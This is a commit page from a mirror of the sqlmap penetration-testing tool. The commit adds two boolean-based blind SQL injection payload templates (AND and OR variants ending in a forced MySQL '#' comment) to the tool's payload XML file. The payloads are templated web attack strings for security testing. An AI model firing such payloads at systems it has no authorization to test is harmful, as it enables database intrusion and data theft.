sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-07-29 17:39:56 +03:00
Code Issues Packages Projects Releases Wiki Activity

Added payload for forced comments on boolean-based blind injections for WHERE or HAVING clause

Browse Source
This commit is contained in:
ark 2017-01-23 18:24:26 +01:00
parent 16d5e22b72
commit e6143beeae
1 changed files with 32 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

32
xml/payloads/boolean_blind.xml
View File

@ -171,6 +171,22 @@ Tag: <test>
</response>
</test>
<test>
<title>AND boolean-based blind - WHERE or HAVING clause (Forced MySQL comment)</title>
<stype>1</stype>
<level>1</level>
<risk>1</risk>
<clause>1,9</clause>
<where>1</where>
<vector>AND [INFERENCE] #</vector>
<request>
<payload>AND [RANDNUM]=[RANDNUM] #</payload>
</request>
<response>
<comparison>AND [RANDNUM]=[RANDNUM1] #</comparison>
</response>
</test>
<test>
<title>OR boolean-based blind - WHERE or HAVING clause</title>
<stype>1</stype>
@ -187,6 +203,22 @@ Tag: <test>
</response>
</test>
<test>
<title>OR boolean-based blind - WHERE or HAVING clause (Forced MySQL comment)</title>
<stype>1</stype>
<level>1</level>
<risk>3</risk>
<clause>1,9</clause>
<where>2</where>
<vector>OR [INFERENCE] #</vector>
<request>
<payload>OR [RANDNUM]=[RANDNUM] #</payload>
</request>
<response>
<comparison>OR [RANDNUM]=[RANDNUM1] #</comparison>
</response>
</test>
<test>
<title>OR boolean-based blind - WHERE or HAVING clause (NOT)</title>
<stype>1</stype>